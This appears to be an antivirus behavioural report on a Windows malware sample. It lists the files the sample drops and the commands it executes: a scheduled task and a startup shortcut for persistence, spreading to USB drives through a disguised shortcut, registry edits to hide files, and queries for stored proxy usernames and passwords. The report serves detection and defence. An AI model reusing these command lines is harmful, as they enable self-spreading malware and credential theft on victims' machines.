Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\0062-3583
- %APPDATA%\microsoft\windows\start menu\programs\startup\selfcert.lnk
Creates the following files on removable media
- <Drive name for removable media>:\nezbl
- <Drive name for removable media>:\win.exe
Malicious functions
To complicate detection of its presence in the operating system,
forces the system hide from view:
- hidden files
Modifies file system
Creates the following files
- %TEMP%\7zipsfx.000\11991.cmd
- %TEMP%\7zipsfx.000\31885
- %TEMP%\7zipsfx.000\7890
- %TEMP%\7zipsfx.000\ztmgi
- %LOCALAPPDATA%\microsoft\office\0062-3583\selfcert.exe
- %TEMP%\7zipsfx.000\efjup.vbs
- %TEMP%\7zipsfx.000\officemodule.exe
- nul
Deletes the following files
- %TEMP%\7zipsfx.000\ztmgi
- %TEMP%\7zipsfx.000\efjup.vbs
- %TEMP%\7zipsfx.000\7890.exe
- <Drive name for removable media>:\nezbl
Moves the following files
- from %TEMP%\7zipsfx.000\7890 to %TEMP%\7zipsfx.000\7890.exe
- from %TEMP%\7zipsfx.000\31885 to %TEMP%\7zipsfx.000\31885.cmd
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '%TEMP%\7zipsfx.000\7890.exe' -p'njgfhjkmlkzj,yjdktybq
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\11991.cmd" mvd"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\11991.cmd" mvd"
- '%WINDIR%\syswow64\fc.exe' /b "<Full path to file>" "%LOCALAPPDATA%\Microsoft\Office\0062-3583\selfcert.exe"
- '%WINDIR%\syswow64\cmd.exe' /c tasklist /FI "imagename eq cryptcp.exe" | find /C "cryptcp.exe"
- '%WINDIR%\syswow64\tasklist.exe' /FI "imagename eq cryptcp.exe"
- '%WINDIR%\syswow64\find.exe' /C "cryptcp.exe"
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 5 /F /tn 0062-3583 /tr "%LOCALAPPDATA%\Microsoft\Office\0062-3583\selfcert.exe"
- '%WINDIR%\syswow64\tasklist.exe' /FI "imagename eq selfcert.exe"
- '%WINDIR%\syswow64\find.exe' /C "selfcert.exe"
- '%WINDIR%\syswow64\cscript.exe' "EFjup.vbs"
- '%WINDIR%\syswow64\cmd.exe' /c WMIC LogicalDisk Where (DriveType=2 And MediaType=NULL) Get Name,VolumeSerialNumber /Value|Find "="
- '%WINDIR%\syswow64\wbem\wmic.exe' LogicalDisk Where (DriveType=2 And MediaType=NULL) Get Name,VolumeSerialNumber /Value
- '%WINDIR%\syswow64\find.exe' "="
- '%WINDIR%\syswow64\chcp.com' 1251
- '%WINDIR%\syswow64\mshta.exe' vbscript:Execute("Set y=CreateObject(""WScript.Shell"").CreateShortcut(""<Drive name for removable media>:\Новая папка.lnk""):y.TargetPath=""<SYSTEM32>\cmd.exe"":y.Arguments=""/C attrib -h -s w...
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ /v Hidden /t REG_DWORD /d 00000002 /f
- '%WINDIR%\syswow64\timeout.exe' /t 0
- '%WINDIR%\syswow64\cmd.exe' /c tasklist /FI "imagename eq selfcert.exe" | find /C "selfcert.exe"
- '%WINDIR%\syswow64\cmd.exe' /c vol c
- '%WINDIR%\syswow64\systeminfo.exe'
- '%WINDIR%\syswow64\wbem\wmic.exe' process get parentprocessid, commandline /value
- '%WINDIR%\syswow64\cmd.exe' /c tasklist /fi "PID eq 1636 " /fo csv
- '%WINDIR%\syswow64\tasklist.exe' /fi "PID eq 1636" /fo csv
- '%WINDIR%\syswow64\cmd.exe' /c wmic process where "Name='<File name>.exe'" get ExecutablePath /value| findstr
- '%WINDIR%\syswow64\wbem\wmic.exe' process where "Name='<File name>.exe'" get ExecutablePath /value
- '%WINDIR%\syswow64\findstr.exe'
- '%WINDIR%\syswow64\cmd.exe' /c wmic process get parentprocessid, commandline /value
- '%WINDIR%\syswow64\cmd.exe' /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyServer"
- '%WINDIR%\syswow64\find.exe' /I "ProxyServer"
- '%WINDIR%\syswow64\cmd.exe' /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyUser"
- '%WINDIR%\syswow64\find.exe' /I "ProxyUser"
- '%WINDIR%\syswow64\cmd.exe' /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyPass"
- '%WINDIR%\syswow64\find.exe' /I "ProxyPass"
- '%WINDIR%\syswow64\cmd.exe' /c systeminfo
- '%WINDIR%\syswow64\reg.exe' Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
- '%WINDIR%\syswow64\cmd.exe' /c dir /b/s <Drive name for removable media>:\win.exe
- '%WINDIR%\syswow64\cmd.exe' /c dir /b/s "<Drive name for removable media>:\*.exe"
